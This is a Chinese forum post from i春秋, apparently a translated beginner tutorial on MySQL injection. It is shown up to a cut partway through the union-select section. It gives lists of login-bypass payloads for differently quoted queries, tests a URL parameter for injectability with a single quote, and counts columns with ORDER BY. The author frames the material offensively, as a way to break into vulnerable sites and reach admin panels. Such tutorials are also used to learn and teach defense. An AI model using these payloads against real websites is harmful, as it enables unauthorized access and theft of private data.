用户
搜索

该用户从未签到

i春秋作家

道格安全实验室成员

Rank: 7Rank: 7Rank: 7

8

主题

12

帖子

91

魔法币
收听
0
粉丝
2
注册时间
2017-9-25

i春秋签约作者春秋文阁

Passerby2 i春秋作家 道格安全实验室成员 i春秋签约作者 春秋文阁 楼主
发表于 2018-8-17 16:57:16 2120263

史上最完整的MySQL注入

免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码。 在阅读本教程后,您必须对任何行动承担全部责任。


0x00 ~ 背景

这篇文章题目为“为新手完成MySQL注入”,它旨在提供专门针对MySQL数据库的SQL注入的完整知识和工作方式,除了堆栈查询部分。 这里的第一个贡献......

表中的内容

  • 介绍

  • 什么是数据库?

  • 什么是SQL注入?

  • 绕过登录

  • 访问秘密数据

    • 检查漏洞

    • 找到列数

    • 解决脆弱的部分

    • 寻找MySQL版本

    • MySQL 5或以上版本的注入

    • MySQL 4注入
  • 修改网站内容

  • 关闭MySQL服务器

  • Loadfile

  • MySQL Root

  • 主要的MySQL命令

  • 完成注射教程

  • 更新

    • 绕过登录高级

    • RF注入SQL注入

    • URL欺骗网络钓鱼

    • Cookie
  • 结束

0x01 ~ 介绍

大家好,对于那些不了解我的人我是他们的噩梦=)..在本教程中,我将以新手视角展示MySQL中臭名昭着的注入,以便所有新手都能成为成功的SQL注入器。 目的,一定要检查PHP和MySQL中的各种函数和各种各样的网站,它们会对你有很大的帮助...也不要苛刻我是否有任何语法错误的教程因为英语不是我的母语(我是 来自土星环)。 现在让我们开始SQL注入的演练。

0x02 ~ 什么是数据库

这只是只是一般的信息..数据库是存储数据集合的应用程序。 数据库提供各种API,用于创建,访问和管理它所拥有的数据。 并且数据库(DB)服务器可以与我们的Web开发集成,以便我们可以从数据库中获取我们想要的东西而没有太多困难。 DB可能包含各种关键信息,如用户名,密码,信用等。 因此,需要保护数据库,但运行的许多数据库服务器由于其漏洞或编程处理不当而不安全。 仅举几例DB服务器,MySQL(开源),MSSQL,MS-ACCESS,Oracle,Postgre SQL(开源),SQLite等。

0x03 ~ 什么是Sql注入?

SQL注入可能是目前互联网上存在的最丰富的编程缺陷。 这是未经授权的人可以访问各种关键和私人数据的漏洞。 SQL注入不是Web或数据库服务器中的缺陷,而是由于编程实践较差且缺乏经验而导致的。 它是从远程位置执行的最致命和最容易的攻击之一。

在SQL注入中,我们使用各种命令与DB服务器交互,并从中获取各种数据。 在本教程中,我将讨论SQL注入的3个方面,即绕过登录,访问机密数据和修改页面内容。 因此,让我们在真正的演练中前进......

#0x04 ~ 绕过登录

假设一个站点有一个登录表单,只允许注册用户进入该站点。 现在,假设你想绕过登录并以合法用户身份进入网站。 如果程序员没有正确清理登录脚本,您可能很幸运能够进入该站点。 通过与DB服务器交互,你可能无需知道真实用户名和真实密码即可登录该站点。 那么,这不就是SQL注入的美感吗?

让我们看一个例子,其中用户名admin和密码sam207可以登录到该站点。 假设,对此的SQL查询执行如下:
HTML代码:
SELECT USER from database WHERE username ='admin'AND password ='xenu'
如果上面的SELECT命令评估为true,则将授予用户访问该站点的权限。 想想如果没有清理脚本我们可以做些什么。 这为黑客获取非法访问网站打开了一扇大门。

在此示例中,攻击者可以在登录表单中输入以下用户数据:

username:a or 1=1--
password:blank

所以,这会使我们的查询为:

<?php
SELECT USER from database WHERE username='a' or 1=1-- AND password=''  

请注意 - 是注释运算符,其后的任何内容都将被忽略为注释。 存在另一个注释运算符,它是/ *。

所以我们的上述查询变为:

<?php
SELECT USER from database WHERE username='a' or 1=1  

现在,即使没有名为“a”的用户,此查询也会计算为true,因为1 = 1始终为true,并且当其中一个查询为true时,使用OR会使查询返回true。 这样就可以访问站点管理面板。

可以有各种其他用户名和密码组合来与易受攻击的网站一起玩。 您可以为站点登录创建自己的新组合。

很少有这样的组合:

username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1

这是基本没关系让我们现在假设不同的查询和不同的注入。

<?php
select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;  

这样的组合是:

') or true--
') or ('')=('
') or 1--
') or ('x')=('

PHP代码:

<?php
select username,pass from users where username="$username" and password="$passwrd" limit 0,1;  

这样的组合是:

" or true--
" or ""="
" or 1--
" or "x"="

PHP代码:

<?php
select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;  

这样的组合是:

") or true--
") or ("")=("
") or 1--
") or ("x")=("

PHP代码:

<?php
select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;  

这样的组合是:

')) or true--
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('

另一种有效载重:

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

这就是绕过登录。

0x05 ~ 获得秘密的数据

SQL注入本质上不是为了绕过登录,而是用于访问数据库服务器中的敏感和秘密数据。 这部分很长,所以我将在小节中讨论。

#0x05.a~检查漏洞

假设你有一个网站:

<?php
site.com/article.php?id=5

现在要检查它是否容易受到攻击,你只需添加'到底,即分配了id变量。

所以,它是:

<?php
site.com/article.php?id=5'

现在,如果站点不易受攻击,则会过滤并正常加载页面。但是,如果它不过滤查询字符串,它将给出如下错误:“第5行的Article.php中的'5''MySQL语法错误。”或者是错误,说我们检查正确的MySQL版本或MySQL Fetch错误或有时只是空白页面。 错误可能是任何形式。 因此,它确保该网站易受攻击。

只是使用'可能不是肯定的测试; 所以你可以尝试不同的东西,比如:

<?php
site.com/article.php?id=5+union+select+1--  

如果你得到这个错误,你再次知道它的弱点...只是尝试不同的东西..

#0x05.b~查找列数

所以,现在是时候找到列数了。 为此,我们将使用'order by'直到我们收到错误。

也就是说,我们将URL查询设为:

<?php
site.com/article.php?id=5+order+by+1/*  

这没有给出错误。

现在,我确实把它增加到2:

<?php
site.com/article.php?id=5+order+by+2/*  

仍然没有错误
所以,我们需要增加,直到我们得到错误。

在我的例子中,当我输入值3时出现错误,即:

<?php
site.com/article.php?id=5+order+by+3/*  

这反馈给了我错误。

因此,这意味着当前表中有2列(3 - 1 = 2)。 这就是我们找到列数的方式。

#0x05.c~解决弱势部分

现在,我们需要使用union语句并找到我们可以替换的